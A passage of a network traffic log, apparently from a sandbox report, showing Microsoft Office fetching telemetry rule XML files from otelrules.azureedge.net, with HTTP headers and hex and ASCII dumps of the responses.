2024-11-21 21:10:42 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:42 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6e9ce571-001e-005a-0843-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211042Z-15b8b599d88wk8w4hC1TEB14b800000000g0000000002ssb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:42 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:41 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:42 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211042Z-178bfbc474bmqmgjhC1NYCy16c00000002400000000099cc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:42 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:42 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:42 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211042Z-178bfbc474bscnbchC1NYCe7eg00000002200000000103xp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:42 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:42 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:43 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:42 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211042Z-178bfbc474bpnd5vhC1NYC4vr4000000021000000000ca42 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:43 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:43 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:44 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:44 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: cb31e276-601e-00ab-1151-3c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211044Z-15b8b599d8885prmhC1TEBsnkw00000000kg00000000ctg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:44 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:43 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:44 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:44 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 962a21d8-701e-001e-0fb8-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211044Z-15b8b599d8885prmhC1TEBsnkw00000000m000000000ch8q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:44 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:43 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:44 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:44 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211044Z-178bfbc474bvjk8shC1NYC83ns00000001yg00000000133x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:44 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:44 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:44 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:44 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211044Z-178bfbc474bbcwv4hC1NYCypys00000001wg00000000f20q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:44 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:44 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:45 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:45 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 11574f01-801e-0067-6559-3cfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211045Z-174c587ffdfcj798hC1TEB9bq400000000mg00000000p5yz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 21:10:45 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:45 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:46 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:46 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211046Z-174c587ffdfcj798hC1TEB9bq400000000h000000000q98q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:46 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:46 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:46 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:46 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c76163b7-601e-0070-0647-3ca0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211046Z-174c587ffdf8fcgwhC1TEBnn7000000000pg00000000a33w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:46 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:46 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:46 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:46 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: f18ba134-001e-008d-7b76-3bd91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211046Z-15b8b599d88phfhnhC1TEBr51n00000000r00000000003wt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:46 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 